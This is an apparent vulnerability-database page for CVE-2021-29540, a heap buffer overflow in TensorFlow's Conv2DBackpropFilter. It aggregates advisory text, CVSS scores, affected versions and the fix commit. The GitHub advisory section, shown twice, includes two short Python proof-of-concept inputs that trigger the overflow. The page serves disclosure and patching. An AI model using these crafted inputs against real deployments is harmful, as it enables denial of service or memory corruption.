CVE-2021-29540
Heap buffer overflow in `Conv2DBackpropFilter`
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
2.5
Heap buffer overflow in `Conv2DBackpropFilter`
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
CVE-2021-29540- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-120
- Updated
- 2026-11-02
EUVDEUVD-2021-0281
2.5
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
EUVD-2021-0281- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-xgc3-m89p-vr3x
2.0
Heap buffer overflow in `Conv2DBackpropFilter`
Impact
An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:
import tensorflow as tf
input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
Alternatively, passing empty tensors also results in similar behavior:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.
Patches
We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
- Record
GHSA-xgc3-m89p-vr3x- CVSS 4.0
- 2.0 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-120, CWE-787
- Updated
- 2026-11-02
NVD
2.5
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
CVE-2021-29540- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - CVSS 2.0
- 4.6 Medium
AV:L/AC:L/Au:N/C:P/I:P/A:P - Weakness
- CWE-120, CWE-787
- Updated
- 2026-11-02
OSV
7.8
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
CVE-2021-29540- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-xgc3-m89p-vr3x
2.0
Heap buffer overflow in `Conv2DBackpropFilter`
Impact
An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:
import tensorflow as tf
input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
Alternatively, passing empty tensors also results in similar behavior:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.
Patches
We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
- Record
GHSA-xgc3-m89p-vr3x- CVSS 4.0
- 2.0 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-120, CWE-787
- Updated
- 2026-11-02
Show 4 moreShow less
OSVBIT-tensorflow-2021-29540 No score
Heap buffer overflow in `Conv2DBackpropFilter`
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
BIT-tensorflow-2021-29540- Updated
- 2026-11-02
OSVPYSEC-2021-177 No score
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
PYSEC-2021-177- Updated
- 2026-11-02
OSVPYSEC-2021-468 No score
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
PYSEC-2021-468- Updated
- 2026-11-02
OSVPYSEC-2021-666 No score
TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497) computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
- Record
PYSEC-2021-666- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tensorflowPyPI |
before 2.1.4 | 2.1.4 |
tensorflowPyPI |
2.2.0 up to 2.2.3 | 2.2.3 |
tensorflowPyPI |
2.3.0 up to 2.3.3 | 2.3.3 |
tensorflowPyPI |
2.4.0 up to 2.4.2 | 2.4.2 |
tensorflow-cpuPyPI |
before 2.1.4 | 2.1.4 |
tensorflow-cpuPyPI |
2.2.0 up to 2.2.3 | 2.2.3 |
tensorflow-cpuPyPI |
2.3.0 up to 2.3.3 | 2.3.3 |
tensorflow-cpuPyPI |
2.4.0 up to 2.4.2 | 2.4.2 |
tensorflow-gpuPyPI |
before 2.1.4 | 2.1.4 |
tensorflow-gpuPyPI |
2.2.0 up to 2.2.3 | 2.2.3 |
Show 18 moreShow less
| Package | Affected | Fixed |
|---|---|---|
tensorflow-gpuPyPI |
2.3.0 up to 2.3.3 | 2.3.3 |
tensorflow-gpuPyPI |
2.4.0 up to 2.4.2 | 2.4.2 |
tensorflowBitnami |
before 2.1.4, 2.2.0 up to 2.2.3, 2.3.0 up to 2.3.3, 2.4.0 up to 2.4.2 | 2.1.42.2.32.3.32.4.2 |
tensorflowPyPI |
before 2.1.4, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 35 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.3 |
2.1.4 |
tensorflowPyPI |
2.2.0 up to 2.2.3, plus listed versions 2.2.12.2.2 |
2.2.3 |
tensorflowPyPI |
2.3.0 up to 2.3.3, plus listed versions 2.3.12.3.2 |
2.3.3 |
tensorflowPyPI |
2.4.0 up to 2.4.2, plus listed versions 2.4.1 |
2.4.2 |
tensorflow-cpuPyPI |
before 2.1.4, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 |
2.1.4 |
tensorflow-cpuPyPI |
2.2.0 up to 2.2.3, plus listed versions 2.2.12.2.2 |
2.2.3 |
tensorflow-cpuPyPI |
2.3.0 up to 2.3.3, plus listed versions 2.3.12.3.2 |
2.3.3 |
tensorflow-cpuPyPI |
2.4.0 up to 2.4.2, plus listed versions 2.4.1 |
2.4.2 |
tensorflow-gpuPyPI |
before 2.1.4, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 35 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.3 |
2.1.4 |
tensorflow-gpuPyPI |
2.2.0 up to 2.2.3, plus listed versions 2.2.12.2.2 |
2.2.3 |
tensorflow-gpuPyPI |
2.3.0 up to 2.3.3, plus listed versions 2.3.12.3.2 |
2.3.3 |
tensorflow-gpuPyPI |
2.4.0 up to 2.4.2, plus listed versions 2.4.1 |
2.4.2 |
tensorflowPyPI |
before 2.2.0rc0, 2.2.0 up to 2.3.0rc0, 2.3.0 up to 2.3.4, 2.4.0 up to 2.4.3, plus listed versions 0.12.00.12.0rc00.12.0rc10.12.11.0.0 Show 45 moreShow less1.0.11.1.01.1.0rc01.1.0rc11.1.0rc21.10.01.10.0rc01.10.0rc11.10.11.11.01.11.0rc01.11.0rc11.11.0rc21.12.01.12.0rc01.12.0rc11.12.0rc21.12.21.12.31.13.0rc01.13.0rc11.13.0rc21.13.11.13.21.14.01.14.0rc01.14.0rc11.15.01.15.0rc01.15.0rc11.15.0rc21.15.0rc31.15.21.15.31.15.41.15.51.2.01.2.0rc01.2.0rc11.2.0rc21.2.11.3.01.3.0rc01.3.0rc11.3.0rc2 |
2.2.0rc02.3.0rc02.3.42.4.3 |
tensorflow-cpuPyPI |
before 2.2.0rc0, 2.2.0 up to 2.3.0rc0, 2.3.0 up to 2.3.4, 2.4.0 up to 2.4.3, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 Show 9 moreShow less2.1.42.2.12.2.22.2.32.3.12.3.22.3.32.4.12.4.2 |
2.2.0rc02.3.0rc02.3.42.4.3 |
tensorflow-gpuPyPI |
before 2.2.0rc0, 2.2.0 up to 2.3.0rc0, 2.3.0 up to 2.3.4, 2.4.0 up to 2.4.3, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 44 moreShow less1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.12.2.22.2.32.3.12.3.22.3.32.4.12.4.2 |
2.2.0rc02.3.0rc02.3.42.4.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2021-29540 is a low vulnerability (CVSS 2.5) in Google Tensorflow, published May 14, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 12th percentile. Fixed in tensorflow 2.1.4.
References
github.com/tensorflow/tensorflow/security/advisories/GHSA-xgc3-m89p-vr3x
github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96
nvd.nist.gov/vuln/detail/CVE-2021-29540
github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-468.yaml
github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-666.yaml
github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-177.yaml
github.com/advisories/GHSA-xgc3-m89p-vr3x
github.com/tensorflow/tensorflow
Left out here: 49 versions. The JSON record has them.